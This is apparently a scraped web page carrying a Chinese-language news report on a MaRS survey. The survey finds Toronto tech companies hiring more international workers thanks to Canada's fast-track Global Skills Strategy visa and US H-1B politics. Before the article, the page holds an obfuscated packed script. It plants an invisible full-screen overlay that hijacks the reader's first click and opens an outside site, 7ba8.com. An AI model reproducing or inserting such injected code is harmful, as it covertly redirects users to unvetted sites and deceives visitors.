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<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>一项新的研究报告显示，得益于加拿大政府去年推出的一项快速工作签证计划，越来越多的国际工人受雇于多伦多地区的技术公司。在参与MaRs调查的53家高速发展的技术公司中， 45%的公司表示自己在2017年雇佣了外国人，53%的公司表示自己在2017年收到的国际工人申请较2016年多。该调查并未给出国际雇佣增加的具体人数，但是其发言人DanielleKlassen说，在Mars生态系统内国际雇佣的数量在上涨，MaRs被认为是世界上最大的城市创新枢纽。她说：“回馈不断显示公司（多伦多的）正不断招聘更多的国际工人。”参与调查的公司中，大多数公司认可加拿大的全球技能策略和全球精英计划在国际招聘增长中的作用。全球技能策略是2017年6月开始执行的，它能够快速处理符合特定雇佣需求的熟练外籍工人的签证申请。参与MaRs调查的公司中，35%表示自己使用全球技能签证计划项目招聘国际工人。“多伦多人才紧缺，能够在两周的时间内审理外国人入境是非常有益的，特别是当下技术和产业快速变化的情况下”。BenZifkin-Hubba公司的首席执行官告诉MaRS参与调查的公司表示，被招聘的海外雇员中，绝大多数人来自美国，紧随其后的是印度、中国、巴西和英国。在这些被雇佣的人中，从事工程师职业的人最多、其次是销售、市场营销、数据科学家、运营和公司高管。国际政治气候使得国际申请数量上涨参与调查的一家公司表示，目前持有临时工作签证在加州工作的初级和中级工程师对加拿大的兴趣在不断上升。美国总统特朗普誓言结束大量外籍工人依赖的H-1B签证项目时促使外籍工人前往加拿大的原因。Klassen说，这个观点与调查的结果一致。她说：“我们从公司处了解到，公司在面试外籍工人的时候，外籍工人会提到（美国）政治情况的改变。”结果极富戏剧性。根据调查结果，外国人工作申请增加的公司公司中，大部分公司在2017年较2016年增长了50%到100%，有个别公司增幅甚至达到300%。 |
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